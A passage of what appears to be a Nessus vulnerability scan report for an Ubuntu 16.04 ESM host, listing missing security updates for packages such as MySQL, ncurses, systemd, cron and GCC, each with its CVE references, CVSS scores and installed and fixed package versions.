In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.

Please see the following for more information:

https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-44.html https://www.oracle.com/security- alerts/cpuoct2023.html

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6583-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

4.9 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.3 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0136

CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:L/Au:M/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-22028
CVE	CVE-2023-22084
XREF	USN:6583-1

Plugin Information

Published: 2024/01/15, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.44-0ubuntu0.16.04.1+esm1
```

183789 - Ubuntu 16.04 ESM / 18.04 ESM : MySQL vulnerability (USN-6288-2) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-6288-2 advisory.

USN-6288-1 fixed a vulnerability in MySQL. This update provides the corresponding update for Ubuntu 16.04 LTS and Ubuntu 18.04 LTS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6288-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:H)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.2

EPSS Score

0.0007

CVSS v2.0 Base Score

5.6 (CVSS2#AV:N/AC:H/Au:S/C:P/I:N/A:C)

CVSS v2.0 Temporal Score

4.1 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-22053
XREF	USN:6288-2

Plugin Information

Published: 2023/10/24, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : mysql-common_5.7.33-0ubuntu0.16.04.1
- Fixed package : mysql-common_5.7.43-0ubuntu0.16.04.1+esm1
```

183834 - Ubuntu 16.04 ESM / 18.04 ESM : ncurses vulnerability (USN-6451-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-6451-1 advisory.

It was discovered that ncurses could be made to read out of bounds. An attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6451-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v4.0 Base Score

9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0213

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-19189
XREF	USN:6451-1

Plugin Information

Published: 2023/10/24, Modified: 2024/09/18

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libncurses5_6.0+20160213-1ubuntu1
- Fixed package : libncurses5_6.0+20160213-1ubuntu1+esm4

- Installed package : libncursesw5_6.0+20160213-1ubuntu1
- Fixed package : libncursesw5_6.0+20160213-1ubuntu1+esm4

- Installed package : libtinfo5_6.0+20160213-1ubuntu1
- Fixed package : libtinfo5_6.0+20160213-1ubuntu1+esm4

- Installed package : ncurses-base_6.0+20160213-1ubuntu1
- Fixed package : ncurses-base_6.0+20160213-1ubuntu1+esm4

- Installed package : ncurses-bin_6.0+20160213-1ubuntu1
- Fixed package : ncurses-bin_6.0+20160213-1ubuntu1+esm4

- Installed package : ncurses-term_6.0+20160213-1ubuntu1
- Fixed package : ncurses-term_6.0+20160213-1ubuntu1+esm4
```

168010 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : FLAC vulnerabilities (USN-5733-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5733-1 advisory.

It was discovered that FLAC was not properly performing memory management operations, which could result in a memory leak. An attacker could possibly use this issue to cause FLAC to consume resources, leading to a denial of service. This issue only affected Ubuntu 14.04 ESM, Ubuntu 16.04 ESM and Ubuntu 18.04 LTS. (CVE-2017-6888)

It was discovered that FLAC was not properly performing bounds checking operations when decoding data. If a user or automated system were tricked into processing a specially crafted file, an attacker could possibly use this issue to expose sensitive information or to cause FLAC to crash, leading to a denial of service. This issue only affected Ubuntu 14.04 ESM, Ubuntu 16.04 ESM, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2020-0499)

It was discovered that FLAC was not properly performing bounds checking operations when encoding data. If a user or automated system were tricked into processing a specially crafted file, an attacker could possibly use this issue to expose sensitive information or to cause FLAC to crash, leading to a denial of service. (CVE-2021-0561)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5733-1

Solution

Update the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0177

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-6888
CVE	CVE-2020-0499
CVE	CVE-2021-0561
XREF	USN:5733-1

Plugin Information

Published: 2022/11/21, Modified: 2025/09/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libflac8_1.3.1-4
- Fixed package : libflac8_1.3.1-4ubuntu0.1~esm1
```

168193 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : JBIG-KIT vulnerability (USN-5742-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5742-1 advisory.

It was discovered that JBIG-KIT incorrectly handled decoding certain large image files. If a user or automated system using JBIG-KIT were tricked into opening a specially crafted file, an attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5742-1

Solution

Update the affected jbigkit-bin, libjbig-dev and / or libjbig0 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.9 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0036

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-9937
XREF	USN:5742-1

Plugin Information

Published: 2022/11/25, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libjbig0_2.1-3.1
- Fixed package : libjbig0_2.1-3.1ubuntu0.1~esm1
```

170412 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Setuptools vulnerability (USN-5817-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5817-1 advisory.

Sebastian Chnelik discovered that setuptools incorrectly handled certain regex inputs. An attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5817-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0033

CVSS v2.0 Base Score

5.4 (CVSS2#AV:N/AC:H/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

4.2 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-40897
XREF	USN:5817-1

Plugin Information

Published: 2023/01/23, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : python3-pkg-resources_20.7.0-1
- Fixed package : python3-pkg-resources_20.7.0-1ubuntu0.1~esm1
```

171484 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : apr-util vulnerability (USN-5870-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5870-1 advisory.

Ronald Crane discovered that APR-util did not properly handled memory when encoding or decoding certain input data. An attacker could possibly use this issue to cause a denial of service, or possibly execute arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5870-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

2.5

EPSS Score

0.0004

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

4.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-25147
XREF	USN:5870-1

Plugin Information

Published: 2023/02/15, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libaprutil1_1.5.4-1build1
- Fixed package : libaprutil1_1.5.4-1ubuntu0.1~esm2

- Installed package : libaprutil1-dbd-sqlite3_1.5.4-1build1
- Fixed package : libaprutil1-dbd-sqlite3_1.5.4-1ubuntu0.1~esm2

- Installed package : libaprutil1-ldap_1.5.4-1build1
- Fixed package : libaprutil1-ldap_1.5.4-1ubuntu0.1~esm2
```

168227 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : shadow vulnerability (USN-5745-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5745-1 advisory.

Florian Weimer discovered that shadow was not properly copying and removing user directory trees, which could lead to a race condition. A local attacker could possibly use this issue to setup a symlink attack and alter or remove directories without authorization.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5745-1

Solution

Update the affected login, passwd and / or uidmap packages.

Risk Factor

Low

CVSS v3.0 Base Score

4.7 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

4.1 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0006

CVSS v2.0 Base Score

3.3 (CVSS2#AV:L/AC:M/Au:N/C:N/I:P/A:P)

CVSS v2.0 Temporal Score

2.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2013-4235
XREF	USN:5745-1

Plugin Information

Published: 2022/11/28, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : login_1:4.2-3.1ubuntu5.3
- Fixed package : login_1:4.2-3.1ubuntu5.5+esm2

- Installed package : passwd_1:4.2-3.1ubuntu5.3
- Fixed package : passwd_1:4.2-3.1ubuntu5.5+esm2
```

172227 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : systemd vulnerabilities (USN-5928-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5928-1 advisory.

It was discovered that systemd did not properly validate the time and accuracy values provided to the format_timespan() function. An attacker could possibly use this issue to cause a buffer overrun, leading to a denial of service attack. This issue only affected Ubuntu 14.04 ESM, Ubuntu 16.04 ESM, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS. (CVE-2022-3821)

It was discovered that systemd did not properly manage the fs.suid_dumpable kernel configurations. A local attacker could possibly use this issue to expose sensitive information. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, and Ubuntu 22.10. (CVE-2022-4415)

It was discovered that systemd did not properly manage a crash with long backtrace data. A local attacker could possibly use this issue to cause a deadlock, leading to a denial of service attack. This issue only affected Ubuntu 22.10. (CVE-2022-45873)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5928-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0003

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:S/C:C/I:N/A:N)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-3821
CVE	CVE-2022-4415
CVE	CVE-2022-45873
XREF	USN:5928-1

Plugin Information

Published: 2023/03/07, Modified: 2025/09/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libsystemd0_229-4ubuntu21.27
- Fixed package : libsystemd0_229-4ubuntu21.31+esm3

- Installed package : libudev1_229-4ubuntu21.27
- Fixed package : libudev1_229-4ubuntu21.31+esm3

- Installed package : systemd-sysv_229-4ubuntu21.27
- Fixed package : systemd-sysv_229-4ubuntu21.31+esm3
```

172025 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : tar vulnerability (USN-5900-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5900-1 advisory.

It was discovered that tar incorrectly handled certain files. An attacker could possibly use this issue to expose sensitive information or cause a crash.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5900-1

Solution

Update the affected tar and / or tar-scripts packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0003

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2022-48303
XREF	USN:5900-1

Plugin Information

Published: 2023/03/01, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : tar_1.28-2.1ubuntu0.2
- Fixed package : tar_1.28-2.1ubuntu0.2+esm2
```

152917 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : GNOME grilo vulnerability (USN-5055-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5055-1 advisory.

Michael Catanzaro discovered that grilo incorrectly handled certain TLS certificate verification. An attacker could possibly use this issue to MITM attacks.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5055-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0022

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-39365
XREF	USN:5055-1

Plugin Information

Published: 2021/08/31, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libgrilo-0.2-1_0.2.15-1
- Fixed package : libgrilo-0.2-1_0.2.15-1ubuntu0.1~esm1
```

157882 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Speex vulnerability (USN-5280-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5280-1 advisory.

It was discovered that Speex incorrectly handled certain WAV files. An attacker could possibly use this issue to cause a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5280-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0008

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-23903
XREF	USN:5280-1

Plugin Information

Published: 2022/02/10, Modified: 2024/08/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libspeex1_1.2~rc1.2-1ubuntu1
- Fixed package : libspeex1_1.2~rc1.2-1ubuntu1+esm1

- Installed package : libspeexdsp1_1.2~rc1.2-1ubuntu1
- Fixed package : libspeexdsp1_1.2~rc1.2-1ubuntu1+esm1
```

160980 - Ubuntu 16.04 ESM / 18.04 LTS : Cron regression (USN-5259-3)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-5259-3 advisory.

USN-5259-1 and USN-5259-2 fixed vulnerabilities in Cron. Unfortunately that update was incomplete and could introduce a regression. This update fixes the problem.

We apologize for the inconvenience.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5259-3

Solution

Update the affected cron package.

Risk Factor

Medium

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

5.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0004

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-9525
XREF	USN:5259-3

Plugin Information

Published: 2022/05/11, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : cron_3.0pl1-128ubuntu2
- Fixed package : cron_3.0pl1-128ubuntu2+esm2
```

168208 - Ubuntu 16.04 ESM / 18.04 LTS : libICE vulnerability (USN-5744-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5744-1 advisory.

It was discovered that libICE was using a weak mechanism to generate the session cookies. A local attacker could possibly use this issue to perform a privilege escalation attack.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5744-1

Solution

Update the affected libice-dev and / or libice6 packages.

Risk Factor

Low

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0003

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-2626
XREF	USN:5744-1

Plugin Information

Published: 2022/11/28, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libice6_2:1.0.9-1
- Fixed package : libice6_2:1.0.9-1ubuntu0.16.04.1+esm1
```

168150 - Ubuntu 16.04 ESM : APR-util vulnerability (USN-5737-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5737-1 advisory.

It was discovered that APR-util did not properly handle memory when using

SDBM database files. A local attacker with write access to the database

can make a program or process using these functions crash, and cause a

denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5737-1

Solution

Update the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

4.7 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

4.1 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0011

CVSS v2.0 Base Score

1.9 (CVSS2#AV:L/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

1.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-12618
XREF	USN:5737-1

Plugin Information

Published: 2022/11/23, Modified: 2025/02/20

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libaprutil1_1.5.4-1build1
- Fixed package : libaprutil1_1.5.4-1ubuntu0.1~esm1

- Installed package : libaprutil1-dbd-sqlite3_1.5.4-1build1
- Fixed package : libaprutil1-dbd-sqlite3_1.5.4-1ubuntu0.1~esm1

- Installed package : libaprutil1-ldap_1.5.4-1build1
- Fixed package : libaprutil1-ldap_1.5.4-1ubuntu0.1~esm1
```

157299 - Ubuntu 16.04 ESM : Cron vulnerabilities (USN-5259-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-5259-1 advisory.

It was discovered that the postinst maintainer script in Cron unsafely handled file permissions during package install or update operations. An attacker could possibly use this issue to perform a privilege escalation attack. (CVE-2017-9525)

Florian Weimer discovered that Cron incorrectly handled certain memory operations during crontab file creation. An attacker could possibly use this issue to cause a denial of service. (CVE-2019-9704)

It was discovered that Cron incorrectly handled user input during crontab file creation. An attacker could possibly use this issue to cause a denial of service. (CVE-2019-9705)

It was discovered that Cron contained a use-after-free vulnerability in its force_rescan_user function. An attacker could possibly use this issue to cause a denial of

service. (CVE-2019-9706)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5259-1

Solution

Update the affected cron package.

Risk Factor

Medium

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0004

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-9525
CVE	CVE-2019-9704
CVE	CVE-2019-9705
CVE	CVE-2019-9706
XREF	USN:5259-1

Plugin Information

Published: 2022/02/01, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : cron_3.0pl1-128ubuntu2
- Fixed package : cron_3.0pl1-128ubuntu2+esm1
```

168518 - Ubuntu 16.04 ESM : GCC vulnerability (USN-5770-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM host has packages installed that are affected by a vulnerability as referenced in the USN-5770-1 advisory.

Todd Eisenberger discovered that certain versions of GNU Compiler Collection (GCC) could be made to clobber the status flag of RDRAND and RDSEED with specially crafted input. This could potentially lead to less randomness in random number generation.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5770-1

Solution

Update the affected packages.

Risk Factor

Low

CVSS v3.0 Base Score

4.0 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

3.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

1.4

EPSS Score

0.0008

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-11671
XREF	USN:5770-1

Plugin Information

Published: 2022/12/08, Modified: 2024/08/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : gcc-5-base_5.4.0-6ubuntu1~16.04.12
- Fixed package : gcc-5-base_5.4.0-6ubuntu1~16.04.12+esm2

- Installed package : gcc-6-base_6.0.1-0ubuntu1
- Fixed package : gcc-6-base_6.0.1-0ubuntu1+esm1

- Installed package : libgcc1_1:6.0.1-0ubuntu1
- Fixed package : libgcc1_1:6.0.1-0ubuntu1+esm1

- Installed package : libstdc++6_5.4.0-6ubuntu1~16.04.12
- Fixed package : libstdc++6_5.4.0-6ubuntu1~16.04.12+esm2
```

168533 - Ubuntu 16.04 ESM : GNU C Library vulnerabilities (USN-5768-1)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

